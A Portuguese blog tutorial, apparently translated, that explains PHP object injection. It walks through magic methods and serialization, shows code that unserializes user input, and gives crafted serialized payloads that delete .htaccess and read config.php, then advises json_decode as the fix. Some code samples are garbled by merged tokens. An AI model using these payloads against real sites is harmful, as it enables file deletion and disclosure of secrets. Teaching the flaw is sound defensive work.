-->

Anuncio!

Entendendo injeção de objeto PHP

A injeção de objeto PHP


Injeção de objeto PHP é uma vulnerabilidade muito incomum, pode ser difícil de explorar, mas pode ser realmente perigoso. Para entender essa vulnerabilidade, é necessário entender o básico de código PHP.

Aplicações vulneráveis


Se você achar que esse não é um tipo importante de vulnerabilidade, consulte a lista abaixo. Pesquisadores descobriram vulnerabilidades do PHP Object Injection em aplicações PHP muito comuns:

E muitos outros. Pode haver muitas outras injeções de objetos PHP não descobertas nesses ou em outros aplicativos PHP muito comuns, então talvez você possa fazer uma pausa para o café e tentar entendê-la.

Objetos e classes PHP


Classes e objetos são fáceis de entender em PHP. Por exemplo, o código a seguir apenas define uma classe com uma variável e um método:


<?php

classTestClass

{

    // A variable

    

    public$variable= 'This is a string';

    

    // A simple method

    

    publicfunctionPrintVariable()

    {

        echo$this->variable;

    }

}

// Create an object

$object= newTestClass();

// Call a method

$object->PrintVariable();

?>





Ele cria um objeto e chama a função “PrintVariable”, que imprime o valor da variável.

Se você quiser aprender mais sobre Programação Orientada a Objetos PHP, siga este link:



Métodos PHP magic


As classes PHP podem conter funções especiais chamadas funções mágicas. O nome das funções mágicas começa com “__”, por exemplo: __construct, __destruct, __toString, __sleep, __wakeup e outros.

Essas funções são chamadas automaticamente em determinadas situações, por exemplo:

  • __construct é chamado quando um objeto é criado (construtor)

  • __destruct é chamado quando um objeto é destruído (destrutor)

  • __toString é chamado quando um objeto é usado como uma string


Vamos adicionar algumas funções mágicas à nossa classe para entender como os métodos mágicos funcionam.


<?php

classTestClass

{

    // A variable

    

    public$variable= 'This is a string';

    

    // A simple method

    

    publicfunctionPrintVariable()

    {

        echo$this->variable . '<br />';

    }

    

    // Constructor

    

    publicfunction__construct()

    {

        echo'__construct <br />';

    }

    

    // Destructor

    

    publicfunction__destruct()

    {

        echo'__destruct <br />';

    }

    

    // Call

    

    publicfunction__toString()

    {

        return'__toString<br />';

    }

}

// Create an object

// Will call __construct

$object= newTestClass();

// Call a method

// Will print 'This is a string'

$object->PrintVariable();

// Object act as a string

// Will call __toString

echo$object;

// End of PHP script

// Will call __destruct

?>





Temos agora 3 outros métodos: __construct, __destruct e __toString. Como você pode ver, __construct é chamado quando o objeto é criado, __destruct é chamado quando o script PHP termina e o objeto é destruído e __toString é chamado quando o objeto age como uma string. A função "echo" tratará o objeto $ obj como uma string e a função __toString será chamada automaticamente.

Este script produzirá:



__construct

This is a string
__toString

__destruct

Estas são as idéias básicas dos métodos magic. Se você quer aprender sobre todos os métodos magic, por favor siga este link: Métodos Magic

Serialização de objeto PHP


PHP permite a serialização de objetos. Serialização é um procedimento que permite salvar um objeto e reutilizá-lo posteriormente. Por exemplo, você pode salvar um objeto contendo algumas informações do usuário e reutilizá-lo posteriormente.

Para serializar um objeto, você precisa chamar a função “serialize”. Ele retornará uma representação de string que você pode reutilizá-lo posteriormente chamando a função “unserialize” para recriar seu objeto.

Vamos pegar uma classe de usuário simples, serializar um objeto e ver sua representação serializada.


<?php

// Simple class definition

classUser

{

    // Class data

    

    public$age= 0;

    public$name= '';

    

    // Print data

    

    publicfunctionPrintData()

    {

        echo'User '. $this->name . ' is '. $this->age

             . ' years old. <br />';

    }

}

// Create a user

$usr= newUser();

// Set user data

$usr->age = 20;

$usr->name = 'John';

// Print data

$usr->PrintData();

// Serialize object and print output

echoserialize($usr);

?>



Isto irá produzir:


User John is 20 years old.

0:4:"User":2:{s:3:"age";i:20;s:4:"name;s:4:"John";}



Como você pode ver, existem variáveis de classe e dados do conjunto de usuários: John e 20. Não há nada relacionado ao método de classe (PrintData), apenas os dados do objeto são serializados.

Para reutilizar esse objeto, nós não serializamos a string serializada:





<?php

// Simple class definition

classUser

{

    // Class data

    

    public$age= 0;

    public$name= '';

    

    // Print data

    

    publicfunctionPrintData()

    {

        echo'User '. $this->name . ' is '. $this->age . ' years old. <br />';

    }

}

// Create a user

$usr= unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}');

// Print data

$usr->PrintData();

?>





Isto irá produzir:


User John is 20 years old.

Serializando funções magic


Como o construtor (__construct) e o destrutor (__destruct) são chamados automaticamente quando um objeto é criado e destruído, outras funções magic são chamadas quando um objeto é serializado e desserializado:

  • __sleep magic method é chamado quando um objeto é serializado (com serialize)

  • __wakeup magic method é chamado quando um objeto é desserializado (com unserialize)


Note que __sleep deve retornar um array com nomes de variáveis serializadas.

Um exemplo sobre como essas funções funcionam:


<?php

classTest

{

    public$variable= 'BUZZ';

    public$variable2= 'OTHER';

    

    publicfunctionPrintVariable()

    {

        echo$this->variable . '<br />';

    }

    

    publicfunctionconstruct()

    {

        echo'__construct<br />';

    }

    

    publicfunction__destruct()

    {

        echo'__destruct<br />';

    }

    

    publicfunction__wakeup()

    {

        echo'__wakeup<br />';

    }

    

    publicfunction__sleep()

    {

        echo'__sleep<br />';

        

        returnarray('variable', 'variable2');

    }

}

// Create an object, will call __construct

$obj= newTest();

// Serialize object, will call __sleep

$serialized= serialize($obj);

// Print serialized string

print'Serialized: '. $serialized. <br />';

// Unserialize string, will call __wakeup

$obj2= unserialize($serialized);

// Call PintVariable, will print data (BUZZ)

$obj2->PrintVariable();

// PHP script ends, will call __destruct for both objects($obj and $obj2)

?>



Isto irá produzir:



__construct
__sleep
Serialized: O:4:"Test":2:
{s:8:"variable";s:4:"BUZZ";s:9:"variable2";s:5:"OTHER";}
__wakeup
BUZZ
__destruct
__destruct



Como você pode ver, criamos um objeto, serializamos (e chamamos __sleep), criamos outro objeto desserializando o primeiro objeto serializado (e __wakeup foi chamado) e após a execução do script PHP, o destruct foi chamado para os dois objetos.

Para encontrar mais informações sobre a serialização de objetos, por favor siga este link:

Serialização de objetos

Injeção de objeto PHP


Agora entendemos como a serialização funciona, mas como podemos explorá-la? Existem várias possibilidades, tudo depende do fluxo de aplicativos, classes disponíveis e funções magic.

Lembre-se de que um objeto serializado contém valores de objetos controlados pelo atacante.

Você pode encontrar no código-fonte do aplicativo da Web, uma classe que define __wakeup ou __destruct e essas funções fazem algo que pode afetar o aplicativo da web.

Por exemplo, podemos encontrar uma classe que armazene temporariamente o log em um arquivo. Quando destruído, o objeto pode não precisar mais do arquivo de log e excluí-lo.
<?php

class LogFile
{
// Specify log filename

public $filename = 'error.log';

// Some code

public function LogData($text)
{
echo 'Log some data: ' . $text . '<br />';
file_put_contents($this->filename, $text, FILE_APPEND);
}

// Destructor that deletes the log file

public function __destruct()
{
echo '__destruct deletes "' . $this->filename . '" file. <br />';
unlink(dirname(__FILE__) . '/' . $this->filename);
}
}

?>

Um exemplo de como usá-lo:
<?php

include 'logfile.php';

// Create an object

$obj = new LogFile();

// Set filename and log data

$obj->filename = 'somefile.log';
$obj->LogData('Test');

// Destructor will be called and 'somefile.log' will be deleted

?>

Em outro script, podemos encontrar uma chamada para "desserializar" a função usando dados fornecidos pelo usuário (atacante controlado - $ _GET):
<?php

include 'logfile.php';

// ... Some other code that uses LogFile class ...

// Simple class definition

class User
{
// Class data

public $age = 0;
public $name = '';

// Print data

public function PrintData()
{
echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
}
}

// Unserialize user supplied data

$usr = unserialize($_GET['usr_serialized']);

?>

Como você pode ver, o código usa a classe “LogFile”. Há uma chamada para "desserializar" a função usando dados fornecidos pelo usuário e aqui está o ponto de injeção.

Uma solicitação válida seria assim:
script.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}

Mas o que acontece se, em vez de enviar um objeto “User” serializado, enviarmos um objeto “LogFile” serializado? Nada nos obriga a enviar um objeto "User" serializado, para que possamos enviar qualquer objeto serializado que desejarmos.

Vamos criar um objeto "LogFile" serializado:
<?php

$obj = new LogFile();
$obj->filename = '.htaccess';

echo serialize($obj) . '<br />';

?>

Isto produzirá:
O:7:"LogFile":1:{s:8:"filename";s:9:".htaccess";}
__destruct deletes ".htaccess" file.

Agora fazemos a solicitação usando o objeto “LogFile” serializado:
script.php?usr_serialized=O:7:"LogFile":1:{s:8:"filename";s:9:".htaccess";}

O resultado será:
__destruct deletes ".htaccess" file.

E o arquivo ".htaccess" agora é excluído. Isso é possível porque a função __destruct é chamada automaticamente e temos acesso às variáveis de classe “LogFile” para que possamos definir o “filename” para qualquer valor.

Então é daí que vem o nome da vulnerabilidade: ao invés de usar um objeto serializado esperado, você injeta outro objeto PHP, a fim de obter execução de código ou outro comportamento inesperado útil para você como um invasor.

Mesmo que esse não seja o melhor exemplo, você pode entender a ideia: não desserializar chama automaticamente __wakeup e __destruct e um invasor pode manipular variáveis de classe para atacar o aplicativo da web.

Pontos de injeção comuns


Mesmo que a capacidade de exploração “padrão” esteja relacionada às funções magic __wakeup ou __destruct, há outros pontos de injeção comuns que podem permitir que você explore esse tipo de vulnerabilidade. Tudo está relacionado ao fluxo do código do aplicativo.

Por exemplo, uma classe User pode definir um método __toString para permitir que o programador use o objeto como uma string (por exemplo, echo $ obj). Mas outra classe também pode definir um método __toString que permita que um programador leia um arquivo (por exemplo, um FileClass).
<?php

// ... In some other included file ...

class FileClass
{
// Filename variable

public $filename = 'error.log';

// Object used as a string displays the file contents

public function __toString()
{
return file_get_contents($this->filename);
}
}

// Main User class

class User
{
// Class data

public $age = 0;
public $name = '';

// Allow object to be used as a String

public function __toString()
{
return 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
}
}

// Expected: a serialized User object

$obj = unserialize($_GET['usr_serialized']);

// Will call __toString method of the unserialized object

echo $obj;

?>

Uma solicitação válida usará um objeto de usuário serializado:
script.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}

A saída representará as informações do usuário:
User John is 20 years old.

Mas o que acontece se usarmos um objeto FileClass serializado?

Podemos criar um objeto FileClass serializado como este:
<?php

$fileobj = new FileClass();
$fileobj->filename = 'config.php';

echo serialize($fileobj);

?>

E nossa string serializada será:
O:9:"FileClass":1:{s:8:"filename";s:10:"config.php";}

O que acontece se chamarmos o mesmo script anterior com o nosso objeto FileClass?
script.php?usr_serialized=O:9:"FileClass":1:{s:8:"filename";s:10:"config.php";}

Ele irá mostrar na página o conteúdo do arquivo “config.php”:
<?php

$private_data = 'MAGIC';

?>

É fácil entender por que: desserializar, em vez de criar um objeto "Usuário", criará um objeto "FileClass". Quando o script chamará “echo $ obj”, porque o objeto que fornecemos é um objeto “FileClass”, ele chamará o método “__toString” da classe “FileClass” e isso lerá e exibirá o conteúdo do arquivo especificado pela Variável "filename" que controlamos.

Outras possíveis situações de exploração


É possível usar outras funções magic também: __chamada será chamada se o objeto chamar uma função inexistente, __get e __set serão chamados se o objeto tentar acessar variáveis de classe inexistentes e assim por diante.

Mas a exploração não se limita a funções magic. A mesma ideia funcionará com funções normais. Por exemplo, uma classe User pode definir um método "get" para localizar e imprimir alguns dados do usuário, mas outra classe pode definir um método "get" que obtém dados do banco de dados, resultando em uma vulnerabilidade de Injeção de SQL. Ou um método "set" ou "write" gravará dados em um arquivo arbitrário, sendo possível explorá-lo e obter uma execução remota de código.

O único problema técnico é sobre as classes disponíveis no ponto de injeção, mas algumas estruturas ou scripts podem ter um recurso de "carregamento automático". Você pode encontrar mais informações aqui: Autoloading classes .

O maior problema é humano: entender o fluxo do código do aplicativo para explorar esse tipo de vulnerabilidade, pois pode exigir muito tempo para ler e entender o código.

Como corrigir e evitar


Não use “unserialize” nos dados fornecidos pelo usuário. Você pode usar "json_decode".

Conclusão


Mesmo que seja difícil de encontrar e ainda mais difícil de explorar, isso pode ser uma vulnerabilidade muito perigosa. Isso pode resultar em negação de serviço, leitura de arquivo arbitrário, SQL Injection, execução remota de código ou qualquer coisa que o fluxo de código do aplicativo possa permitir.

Fonte bibliográfica:


https://securitycafe.ro/2015/01/05/understanding-php-object-injection/






Compartilhar:
← Anterior Proxima → Inicio

Nenhum comentário:

Postar um comentário

Formulário de contato

Nome

E-mail *

Mensagem *

Sites Parceiros

Anuncio No Post

Anuncio No Post

Anuncio Aqui!